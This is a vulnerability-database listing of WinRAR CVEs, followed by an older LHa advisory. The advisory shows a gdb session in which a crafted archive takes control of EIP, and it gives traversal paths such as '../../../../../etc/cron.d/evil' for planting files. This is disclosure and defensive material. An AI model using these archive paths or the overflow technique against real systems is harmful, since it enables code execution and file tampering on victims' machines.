Search criteria
84 vulnerabilities found for winrar by rarlab
FKIE_CVE-2025-8088
Vulnerability from fkie_nvd - Published: 2025-08-08 12:15 - Updated: 2025-10-30 15:50
Severity ?
Summary
A path traversal vulnerability affecting the Windows version of WinRAR allows the attackers to execute arbitrary code by crafting malicious archive files. This vulnerability was exploited in the wild and was discovered by Anton Cherepanov, Peter Košinár, and Peter Strýček
from ESET.
References
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FKIE_CVE-2025-6218
Vulnerability from fkie_nvd - Published: 2025-06-21 01:15 - Updated: 2025-12-10 13:48
Severity ?
Summary
RARLAB WinRAR Directory Traversal Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of RARLAB WinRAR. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.
The specific flaw exists within the handling of file paths within archive files. A crafted file path can cause the process to traverse to unintended directories. An attacker can leverage this vulnerability to execute code in the context of the current user. Was ZDI-CAN-27198.
References
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FKIE_CVE-2025-31334
Vulnerability from fkie_nvd - Published: 2025-04-03 06:15 - Updated: 2025-07-01 15:10
Severity ?
Summary
Issue that bypasses the "Mark of the Web" security warning function for files when opening a symbolic link that points to an executable file exists in WinRAR versions prior to 7.11. If a symbolic link specially crafted by an attacker is opened on the affected product, arbitrary code may be executed.
References
| URL | Tags | ||
|---|---|---|---|
| vultures@jpcert.or.jp | https://jvn.jp/en/jp/JVN59547048/ | Third Party Advisory | |
| vultures@jpcert.or.jp | https://www.win-rar.com/start.html?&L=0 | Release Notes |
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FKIE_CVE-2024-36052
Vulnerability from fkie_nvd - Published: 2024-05-21 17:15 - Updated: 2025-06-20 17:38
Severity ?
Summary
RARLAB WinRAR before 7.00, on Windows, allows attackers to spoof the screen output via ANSI escape sequences, a different issue than CVE-2024-33899.
References
| URL | Tags | ||
|---|---|---|---|
| cve@mitre.org | https://sdushantha.medium.com/ansi-escape-injection-vulnerability-in-winrar-a2cbfac4b983 | Exploit, Third Party Advisory | |
| cve@mitre.org | https://www.rarlab.com/rarnew.htm | Release Notes | |
| af854a3a-2127-422b-91ae-364da2661108 | https://sdushantha.medium.com/ansi-escape-injection-vulnerability-in-winrar-a2cbfac4b983 | Exploit, Third Party Advisory | |
| af854a3a-2127-422b-91ae-364da2661108 | https://www.rarlab.com/rarnew.htm | Release Notes |
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FKIE_CVE-2023-40477
Vulnerability from fkie_nvd - Published: 2024-05-03 03:15 - Updated: 2025-11-04 20:16
Severity ?
Summary
RARLAB WinRAR Recovery Volume Improper Validation of Array Index Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of RARLAB WinRAR. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.
The specific flaw exists within the processing of recovery volumes. The issue results from the lack of proper validation of user-supplied data, which can result in a memory access past the end of an allocated buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-21233.
References
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"value": "Validaci\u00f3n incorrecta del volumen de recuperaci\u00f3n de RARLAB WinRAR de la vulnerabilidad de ejecuci\u00f3n remota de c\u00f3digo del \u00edndice de matriz. Esta vulnerabilidad permite a atacantes remotos ejecutar c\u00f3digo arbitrario en instalaciones afectadas de RARLAB WinRAR. Se requiere la interacci\u00f3n del usuario para aprovechar esta vulnerabilidad, ya que el objetivo debe visitar una p\u00e1gina maliciosa o abrir un archivo malicioso. La falla espec\u00edfica existe en el procesamiento de vol\u00famenes de recuperaci\u00f3n. El problema se debe a la falta de una validaci\u00f3n adecuada de los datos proporcionados por el usuario, lo que puede provocar un acceso a la memoria m\u00e1s all\u00e1 del final de un b\u00fafer asignado. Un atacante puede aprovechar esta vulnerabilidad para ejecutar c\u00f3digo en el contexto del proceso actual. Era ZDI-CAN-21233."
}
],
"id": "CVE-2023-40477",
"lastModified": "2025-11-04T20:16:43.117",
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FKIE_CVE-2024-33899
Vulnerability from fkie_nvd - Published: 2024-04-29 00:15 - Updated: 2025-06-20 17:38
Severity ?
Summary
RARLAB WinRAR before 7.00, on Linux and UNIX platforms, allows attackers to spoof the screen output, or cause a denial of service, via ANSI escape sequences.
References
| URL | Tags | ||
|---|---|---|---|
| cve@mitre.org | https://sdushantha.medium.com/ansi-escape-injection-vulnerability-in-winrar-a2cbfac4b983 | Exploit, Third Party Advisory | |
| cve@mitre.org | https://www.rarlab.com/rarnew.htm | Release Notes | |
| af854a3a-2127-422b-91ae-364da2661108 | https://sdushantha.medium.com/ansi-escape-injection-vulnerability-in-winrar-a2cbfac4b983 | Exploit, Third Party Advisory | |
| af854a3a-2127-422b-91ae-364da2661108 | https://www.rarlab.com/rarnew.htm | Release Notes |
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FKIE_CVE-2024-30370
Vulnerability from fkie_nvd - Published: 2024-04-02 21:15 - Updated: 2025-06-20 18:15
Severity ?
Summary
RARLAB WinRAR Mark-Of-The-Web Bypass Vulnerability. This vulnerability allows remote attackers to bypass the Mark-Of-The-Web protection mechanism on affected installations of RARLAB WinRAR. User interaction is required to exploit this vulnerability in that the target must perform a specific action on a malicious page.
The specific flaw exists within the archive extraction functionality. A crafted archive entry can cause the creation of an arbitrary file without the Mark-Of-The-Web. An attacker can leverage this in conjunction with other vulnerabilities to execute arbitrary code in the context of the current user. Was ZDI-CAN-23156.
References
| URL | Tags | ||
|---|---|---|---|
| zdi-disclosures@trendmicro.com | https://www.rarlab.com/rarnew.htm#27.%20Busgs%20fixed | Release Notes | |
| zdi-disclosures@trendmicro.com | https://www.zerodayinitiative.com/advisories/ZDI-24-357/ | Third Party Advisory, VDB Entry | |
| af854a3a-2127-422b-91ae-364da2661108 | https://www.rarlab.com/rarnew.htm#27.%20Busgs%20fixed | Release Notes | |
| af854a3a-2127-422b-91ae-364da2661108 | https://www.zerodayinitiative.com/advisories/ZDI-24-357/ | Third Party Advisory, VDB Entry |
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FKIE_CVE-2023-38831
Vulnerability from fkie_nvd - Published: 2023-08-23 17:15 - Updated: 2025-10-31 14:39
Severity ?
7.8 (High) - CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
7.8 (High) - CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
7.8 (High) - CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Summary
RARLAB WinRAR before 6.23 allows attackers to execute arbitrary code when a user attempts to view a benign file within a ZIP archive. The issue occurs because a ZIP archive may include a benign file (such as an ordinary .JPG file) and also a folder that has the same name as the benign file, and the contents of the folder (which may include executable content) are processed during an attempt to access only the benign file. This was exploited in the wild in April through October 2023.
References
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FKIE_CVE-2022-43650
Vulnerability from fkie_nvd - Published: 2023-03-29 19:15 - Updated: 2024-11-21 07:26
Severity ?
Summary
This vulnerability allows remote attackers to disclose sensitive information on affected installations of RARLAB WinRAR 6.11.0.0. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of ZIP files. Crafted data in a ZIP file can trigger a read past the end of an allocated buffer. An attacker can leverage this in conjunction with other vulnerabilities to execute arbitrary code in the context of the current process. Was ZDI-CAN-19232.
References
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CVE-2025-8088 (GCVE-0-2025-8088)
Vulnerability from cvelistv5 – Published: 2025-08-08 11:11 – Updated: 2025-10-21 22:45
VLAI?
Summary
A path traversal vulnerability affecting the Windows version of WinRAR allows the attackers to execute arbitrary code by crafting malicious archive files. This vulnerability was exploited in the wild and was discovered by Anton Cherepanov, Peter Košinár, and Peter Strýček
from ESET.
Severity ?
CWE
- CWE-35 - Path traversal
Assigner
References
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| win.rar GmbH | WinRAR |
Affected:
0 , ≤ 7.12
(custom)
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CVE-2014-125119 (GCVE-0-2014-125119)
Vulnerability from cvelistv5 – Published: 2025-07-25 15:59 – Updated: 2025-11-21 01:38
VLAI?
Summary
A filename spoofing vulnerability exists in WinRAR when opening specially crafted ZIP archives. The issue arises due to inconsistencies between the Central Directory and Local File Header entries in ZIP files. When viewed in WinRAR, the file name from the Central Directory is displayed to the user, while the file from the Local File Header is extracted and executed. An attacker can leverage this flaw to spoof filenames and trick users into executing malicious payloads under the guise of harmless files, potentially leading to remote code execution.
Severity ?
Assigner
References
| URL | Tags | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
Impacted products
Credits
chr1x
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CVE-2025-6218 (GCVE-0-2025-6218)
Vulnerability from cvelistv5 – Published: 2025-06-21 00:09 – Updated: 2025-12-10 04:57
VLAI?
Summary
RARLAB WinRAR Directory Traversal Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of RARLAB WinRAR. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.
The specific flaw exists within the handling of file paths within archive files. A crafted file path can cause the process to traverse to unintended directories. An attacker can leverage this vulnerability to execute code in the context of the current user. Was ZDI-CAN-27198.
Severity ?
7.8 (High)
CWE
- CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Assigner
References
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CVE-2025-31334 (GCVE-0-2025-31334)
Vulnerability from cvelistv5 – Published: 2025-04-03 05:27 – Updated: 2025-04-03 13:52
VLAI?
Summary
Issue that bypasses the "Mark of the Web" security warning function for files when opening a symbolic link that points to an executable file exists in WinRAR versions prior to 7.11. If a symbolic link specially crafted by an attacker is opened on the affected product, arbitrary code may be executed.
Severity ?
6.8 (Medium)
CWE
- CWE-356 - Product UI does not warn user of unsafe actions
Assigner
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CVE-2024-36052 (GCVE-0-2024-36052)
Vulnerability from cvelistv5 – Published: 2024-05-21 16:37 – Updated: 2025-02-13 15:59
VLAI?
Summary
RARLAB WinRAR before 7.00, on Windows, allows attackers to spoof the screen output via ANSI escape sequences, a different issue than CVE-2024-33899.
Severity ?
7.5 (High)
CWE
- n/a
Assigner
References
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CVE-2023-40477 (GCVE-0-2023-40477)
Vulnerability from cvelistv5 – Published: 2024-05-03 02:11 – Updated: 2025-11-04 19:20
VLAI?
Summary
RARLAB WinRAR Recovery Volume Improper Validation of Array Index Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of RARLAB WinRAR. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.
The specific flaw exists within the processing of recovery volumes. The issue results from the lack of proper validation of user-supplied data, which can result in a memory access past the end of an allocated buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-21233.
Severity ?
7.8 (High)
CWE
- CWE-129 - Improper Validation of Array Index
Assigner
References
| URL | Tags | |||||||
|---|---|---|---|---|---|---|---|---|
|
||||||||
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CVE-2024-33899 (GCVE-0-2024-33899)
Vulnerability from cvelistv5 – Published: 2024-04-28 00:00 – Updated: 2024-08-02 02:42
VLAI?
Summary
RARLAB WinRAR before 7.00, on Linux and UNIX platforms, allows attackers to spoof the screen output, or cause a denial of service, via ANSI escape sequences.
Severity ?
7.1 (High)
CWE
- n/a
Assigner
References
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CVE-2024-30370 (GCVE-0-2024-30370)
Vulnerability from cvelistv5 – Published: 2024-04-02 20:28 – Updated: 2024-08-02 01:32
VLAI?
Summary
RARLAB WinRAR Mark-Of-The-Web Bypass Vulnerability. This vulnerability allows remote attackers to bypass the Mark-Of-The-Web protection mechanism on affected installations of RARLAB WinRAR. User interaction is required to exploit this vulnerability in that the target must perform a specific action on a malicious page.
The specific flaw exists within the archive extraction functionality. A crafted archive entry can cause the creation of an arbitrary file without the Mark-Of-The-Web. An attacker can leverage this in conjunction with other vulnerabilities to execute arbitrary code in the context of the current user. Was ZDI-CAN-23156.
Severity ?
4.3 (Medium)
CWE
- CWE-693 - Protection Mechanism Failure
Assigner
References
| URL | Tags | |||||||
|---|---|---|---|---|---|---|---|---|
|
||||||||
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CVE-2023-38831 (GCVE-0-2023-38831)
Vulnerability from cvelistv5 – Published: 2023-08-23 00:00 – Updated: 2025-10-21 23:05
VLAI?
Summary
RARLAB WinRAR before 6.23 allows attackers to execute arbitrary code when a user attempts to view a benign file within a ZIP archive. The issue occurs because a ZIP archive may include a benign file (such as an ordinary .JPG file) and also a folder that has the same name as the benign file, and the contents of the folder (which may include executable content) are processed during an attempt to access only the benign file. This was exploited in the wild in April through October 2023.
Severity ?
7.8 (High)
CWE
- n/a
Assigner
References
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CVE-2025-8088 (GCVE-0-2025-8088)
Vulnerability from nvd – Published: 2025-08-08 11:11 – Updated: 2025-10-21 22:45
VLAI?
Summary
A path traversal vulnerability affecting the Windows version of WinRAR allows the attackers to execute arbitrary code by crafting malicious archive files. This vulnerability was exploited in the wild and was discovered by Anton Cherepanov, Peter Košinár, and Peter Strýček
from ESET.
Severity ?
CWE
- CWE-35 - Path traversal
Assigner
References
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| win.rar GmbH | WinRAR |
Affected:
0 , ≤ 7.12
(custom)
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CVE-2014-125119 (GCVE-0-2014-125119)
Vulnerability from nvd – Published: 2025-07-25 15:59 – Updated: 2025-11-21 01:38
VLAI?
Summary
A filename spoofing vulnerability exists in WinRAR when opening specially crafted ZIP archives. The issue arises due to inconsistencies between the Central Directory and Local File Header entries in ZIP files. When viewed in WinRAR, the file name from the Central Directory is displayed to the user, while the file from the Local File Header is extracted and executed. An attacker can leverage this flaw to spoof filenames and trick users into executing malicious payloads under the guise of harmless files, potentially leading to remote code execution.
Severity ?
Assigner
References
| URL | Tags | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
Impacted products
Credits
chr1x
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CVE-2025-6218 (GCVE-0-2025-6218)
Vulnerability from nvd – Published: 2025-06-21 00:09 – Updated: 2025-12-10 04:57
VLAI?
Summary
RARLAB WinRAR Directory Traversal Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of RARLAB WinRAR. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.
The specific flaw exists within the handling of file paths within archive files. A crafted file path can cause the process to traverse to unintended directories. An attacker can leverage this vulnerability to execute code in the context of the current user. Was ZDI-CAN-27198.
Severity ?
7.8 (High)
CWE
- CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Assigner
References
| URL | Tags | |||||||
|---|---|---|---|---|---|---|---|---|
|
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CVE-2025-31334 (GCVE-0-2025-31334)
Vulnerability from nvd – Published: 2025-04-03 05:27 – Updated: 2025-04-03 13:52
VLAI?
Summary
Issue that bypasses the "Mark of the Web" security warning function for files when opening a symbolic link that points to an executable file exists in WinRAR versions prior to 7.11. If a symbolic link specially crafted by an attacker is opened on the affected product, arbitrary code may be executed.
Severity ?
6.8 (Medium)
CWE
- CWE-356 - Product UI does not warn user of unsafe actions
Assigner
References
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CVE-2024-36052 (GCVE-0-2024-36052)
Vulnerability from nvd – Published: 2024-05-21 16:37 – Updated: 2025-02-13 15:59
VLAI?
Summary
RARLAB WinRAR before 7.00, on Windows, allows attackers to spoof the screen output via ANSI escape sequences, a different issue than CVE-2024-33899.
Severity ?
7.5 (High)
CWE
- n/a
Assigner
References
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CVE-2023-40477 (GCVE-0-2023-40477)
Vulnerability from nvd – Published: 2024-05-03 02:11 – Updated: 2025-11-04 19:20
VLAI?
Summary
RARLAB WinRAR Recovery Volume Improper Validation of Array Index Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of RARLAB WinRAR. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.
The specific flaw exists within the processing of recovery volumes. The issue results from the lack of proper validation of user-supplied data, which can result in a memory access past the end of an allocated buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-21233.
Severity ?
7.8 (High)
CWE
- CWE-129 - Improper Validation of Array Index
Assigner
References
| URL | Tags | |||||||
|---|---|---|---|---|---|---|---|---|
|
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CVE-2024-33899 (GCVE-0-2024-33899)
Vulnerability from nvd – Published: 2024-04-28 00:00 – Updated: 2024-08-02 02:42
VLAI?
Summary
RARLAB WinRAR before 7.00, on Linux and UNIX platforms, allows attackers to spoof the screen output, or cause a denial of service, via ANSI escape sequences.
Severity ?
7.1 (High)
CWE
- n/a
Assigner
References
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CVE-2024-30370 (GCVE-0-2024-30370)
Vulnerability from nvd – Published: 2024-04-02 20:28 – Updated: 2024-08-02 01:32
VLAI?
Summary
RARLAB WinRAR Mark-Of-The-Web Bypass Vulnerability. This vulnerability allows remote attackers to bypass the Mark-Of-The-Web protection mechanism on affected installations of RARLAB WinRAR. User interaction is required to exploit this vulnerability in that the target must perform a specific action on a malicious page.
The specific flaw exists within the archive extraction functionality. A crafted archive entry can cause the creation of an arbitrary file without the Mark-Of-The-Web. An attacker can leverage this in conjunction with other vulnerabilities to execute arbitrary code in the context of the current user. Was ZDI-CAN-23156.
Severity ?
4.3 (Medium)
CWE
- CWE-693 - Protection Mechanism Failure
Assigner
References
| URL | Tags | |||||||
|---|---|---|---|---|---|---|---|---|
|
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CVE-2023-38831 (GCVE-0-2023-38831)
Vulnerability from nvd – Published: 2023-08-23 00:00 – Updated: 2025-10-21 23:05
VLAI?
Summary
RARLAB WinRAR before 6.23 allows attackers to execute arbitrary code when a user attempts to view a benign file within a ZIP archive. The issue occurs because a ZIP archive may include a benign file (such as an ordinary .JPG file) and also a folder that has the same name as the benign file, and the contents of the folder (which may include executable content) are processed during an attempt to access only the benign file. This was exploited in the wild in April through October 2023.
Severity ?
7.8 (High)
CWE
- n/a
Assigner
References
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JVNDB-2025-000025
Vulnerability from jvndb - Published: 2025-04-03 12:29 - Updated:2025-04-03 12:29
Severity ?
Summary
WinRAR vulnerable to the symbolic link based "Mark of the Web" check bypass
Details
WinRAR provided by RARLAB contains a vulnerability that bypasses the "Mark of the Web" (CWE-356) security warning function for files when opening a symbolic link that points to an executable file.
In the initial Windows configuration, only administrators have the privilege to create symbolic links.
Taihei Shimamine of Mitsui Bussan Secure Directions, Inc. reported this vulnerability to IPA.
JPCERT/CC coordinated with the developer under Information Security Early Warning Partnership.
References
| Type | URL | ||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||
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"dcterms:modified": "2025-04-03T12:29+09:00",
"description": "WinRAR provided by RARLAB contains a vulnerability that bypasses the \"Mark of the Web\" (CWE-356) security warning function for files when opening a symbolic link that points to an executable file.\r\nIn the initial Windows configuration, only administrators have the privilege to create symbolic links.\r\n\r\nTaihei Shimamine of Mitsui Bussan Secure Directions, Inc. reported this vulnerability to IPA.\r\nJPCERT/CC coordinated with the developer under Information Security Early Warning Partnership.",
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"@type": "Base",
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{
"#text": "https://jvn.jp/en/jp/JVN59547048/index.html",
"@id": "JVN#59547048",
"@source": "JVN"
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{
"#text": "https://www.cve.org/CVERecord?id=CVE-2025-31334",
"@id": "CVE-2025-31334",
"@source": "CVE"
},
{
"#text": "https://cwe.mitre.org/data/definitions/356.html",
"@id": "CWE-356",
"@title": "Product UI does not Warn User of Unsafe Actions(CWE-356)"
}
],
"title": "WinRAR vulnerable to the symbolic link based \"Mark of the Web\" check bypass"
}
VAR-200408-0141
Vulnerability from variot - Updated: 2023-12-18 11:41Multiple directory traversal vulnerabilities in LHA 1.14 allow remote attackers or local users to create arbitrary files via an LHA archive containing filenames with (1) .. sequences or (2) absolute pathnames with double leading slashes ("//absolute/path"). The first issues reported have been assigned the CVE candidate identifier (CAN-2004-0234). LHA is reported prone to two stack-based buffer-overflow vulnerabilities. An attacker may exploit these vulnerabilities to execute supplied instructions with the privileges of the user who invoked the affected LHA utility. The second set of issues has been assigned CVE candidate identifier (CAN-2004-0235). In addition to the buffer-overflow vulnerabilities that were reported, LHA has been reported prone to several directory-traversal issues. An attacker may likely exploit these directory-traversal vulnerabilities to corrupt/overwrite files in the context of the user who is running the affected LHA utility. NOTE: Reportedly, this issue may also cause a denial-of-service condition in the ClearSwift MAILsweeper products due to code dependency. Update: Many F-Secure Anti-Virus products are also reported prone to the buffer-overflow vulnerability. LHa is a console-based decompression program. Carefully constructed file or directory names can execute arbitrary commands with process privileges. Attackers can build simple packages that corrupt system files when LHA operates. ------------------------------------------------------------------------
LHa buffer overflows and directory traversal problems
PROGRAM: LHa (Unix version) VENDOR: various people VULNERABLE VERSIONS: 1.14d to 1.14i 1.17 (Linux binary) possibly others IMMUNE VERSIONS: 1.14i with my patch applied 1.14h with my patch applied LHa 1.14: http://www2m.biglobe.ne.jp/~dolphin/lha/lha.htm http://www2m.biglobe.ne.jp/~dolphin/lha/prog/ LHa 1.17: http://www.infor.kanazawa-it.ac.jp/~ishii/lhaunix/ REFERENCES: CAN-2004-0234 (buffer overflows) CAN-2004-0235 (directory traversal)
- DESCRIPTION *
LHa is a console-based program for packing and unpacking LHarc archives.
It is one of the packages in Red Hat Linux, Fedora Core, SUSE Linux, Debian GNU/Linux (non-free), Mandrakelinux, Slackware Linux, Gentoo Linux, Yellow Dog Linux, Conectiva Linux and ALT Linux. It is also included in the port/package collections for FreeBSD, OpenBSD and NetBSD.
- OVERVIEW *
LHa has two stack-based buffer overflows and two directory traversal problems. They can be abused by malicious people in many different ways: some mail virus scanners require LHa and run it automatically on attached files in e-mail messages. Some web applications allow uploading and unpacking of LHarc archives. Some people set up their web browsers to start LHa automatically after downloading an LHarc archive. Finally, social engineering is probably quite effective in this case.
- TECHNICAL DETAILS *
a) two stack-based buffer overflows
The buffer overflows in LHa occur when testing (t) or extracting (x) archives where the archive contents have too long filenames or directory names. The cause of the problem is the function get_header() in header.c. This function first reads the lengths of filenames or directory names from the archive, and then it reads that many bytes to a char array (one for filenames and one for directory names) without checking if the array is big enough.
By exploiting this bug, you get control over several registers including EIP, as you can see in this session capture:
$ lha t buf_oflow.lha LHa: Error: Unknown information UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUU Segmentation fault $ lha x buf_oflow.lha LHa: Error: Unknown information UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUU Segmentation fault $ gdb lha GNU gdb Red Hat Linux (5.3post-0.20021129.18rh) Copyright 2003 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux-gnu"... (gdb) r x buf_oflow.lha Starting program: /usr/bin/lha x buf_oflow.lha LHa: Error: Unknown information UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUU
Program received signal SIGSEGV, Segmentation fault. 0x55555555 in ?? () (gdb) bt
0 0x55555555 in ?? ()
Cannot access memory at address 0x55555555 (gdb) i r eax 0x4001e4a0 1073865888 ecx 0xffffffe0 -32 edx 0x24 36 ebx 0x55555555 1431655765 esp 0xbfffdd50 0xbfffdd50 ebp 0x55555555 0x55555555 esi 0x55555555 1431655765 edi 0x55555555 1431655765 eip 0x55555555 0x55555555 eflags 0x210282 2163330 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x33 51 (gdb) r t buf_oflow.lha The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /usr/bin/lha t buf_oflow.lha LHa: Error: Unknown information UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUU
Program received signal SIGSEGV, Segmentation fault. 0x55555555 in ?? () (gdb) bt
0 0x55555555 in ?? ()
Cannot access memory at address 0x55555555 (gdb) i r eax 0x4001e4a0 1073865888 ecx 0xffffffe0 -32 edx 0x24 36 ebx 0x55555555 1431655765 esp 0xbfffe6d0 0xbfffe6d0 ebp 0x55555555 0x55555555 esi 0x55555555 1431655765 edi 0x55555555 1431655765 eip 0x55555555 0x55555555 eflags 0x210286 2163334 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x33 51 (gdb) q The program is running. Exit anyway? (y or n) y $
b) two directory traversal problems
LHa has directory traversal problems, both with absolute paths and relative paths. There is no protection against relative paths at all, so you can simply use the lha binary to create an archive with paths like "../../../../../etc/cron.d/evil". There is some simple protection against absolute paths, namely skipping the first character if it is a slash, but again you can simply use the binary to create archives with paths like "//etc/cron.d/evil".
- ATTACHED FILES *
I have written a patch against version 1.14i that corrects all four problems. The patch is included as an attachment, together with some test archives.
- TIMELINE *
18 Apr: contacted the vendor-sec list and the LHa 1.14 author 18 Apr: tried to contact the LHa 1.17 author with a web form and a guessed e-mail address which bounced 19 Apr: reply from the vendor-sec list with CVE references 30 Apr: Red Hat released their advisory 01 May: I release this advisory
// Ulf Harnhammar Advogato diary :: http://www.advogato.org/person/metaur/ idiosynkratisk (Swedish electropop zine) :: http://idiosynkratisk.tk/ Debian Security Audit Project :: http://shellcode.org/Audit/
Show details on source website
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"data": "Multiple directory traversal vulnerabilities in LHA 1.14 allow remote attackers or local users to create arbitrary files via an LHA archive containing filenames with (1) .. sequences or (2) absolute pathnames with double leading slashes (\"//absolute/path\"). \nThe first issues reported have been assigned the CVE candidate identifier (CAN-2004-0234). LHA is reported prone to two stack-based buffer-overflow vulnerabilities. An attacker may exploit these vulnerabilities to execute supplied instructions with the privileges of the user who invoked the affected LHA utility. \nThe second set of issues has been assigned CVE candidate identifier (CAN-2004-0235). In addition to the buffer-overflow vulnerabilities that were reported, LHA has been reported prone to several directory-traversal issues. An attacker may likely exploit these directory-traversal vulnerabilities to corrupt/overwrite files in the context of the user who is running the affected LHA utility. \n**NOTE: Reportedly, this issue may also cause a denial-of-service condition in the ClearSwift MAILsweeper products due to code dependency. \n**Update: Many F-Secure Anti-Virus products are also reported prone to the buffer-overflow vulnerability. LHa is a console-based decompression program. Carefully constructed file or directory names can execute arbitrary commands with process privileges. Attackers can build simple packages that corrupt system files when LHA operates. ------------------------------------------------------------------------\n\nLHa buffer overflows and directory traversal problems\n\nPROGRAM: LHa (Unix version)\nVENDOR: various people\nVULNERABLE VERSIONS: 1.14d to 1.14i\n 1.17 (Linux binary)\n possibly others\nIMMUNE VERSIONS: 1.14i with my patch applied\n 1.14h with my patch applied\nLHa 1.14: http://www2m.biglobe.ne.jp/~dolphin/lha/lha.htm\n http://www2m.biglobe.ne.jp/~dolphin/lha/prog/\nLHa 1.17: http://www.infor.kanazawa-it.ac.jp/~ishii/lhaunix/\nREFERENCES: CAN-2004-0234 (buffer overflows)\n CAN-2004-0235 (directory traversal)\n\n* DESCRIPTION *\n\nLHa is a console-based program for packing and unpacking LHarc\narchives. \n\nIt is one of the packages in Red Hat Linux, Fedora Core, SUSE\nLinux, Debian GNU/Linux (non-free), Mandrakelinux, Slackware Linux,\nGentoo Linux, Yellow Dog Linux, Conectiva Linux and ALT Linux. \nIt is also included in the port/package collections for FreeBSD,\nOpenBSD and NetBSD. \n\n* OVERVIEW *\n\nLHa has two stack-based buffer overflows and two directory traversal\nproblems. They can be abused by malicious people in many different\nways: some mail virus scanners require LHa and run it automatically\non attached files in e-mail messages. Some web applications allow\nuploading and unpacking of 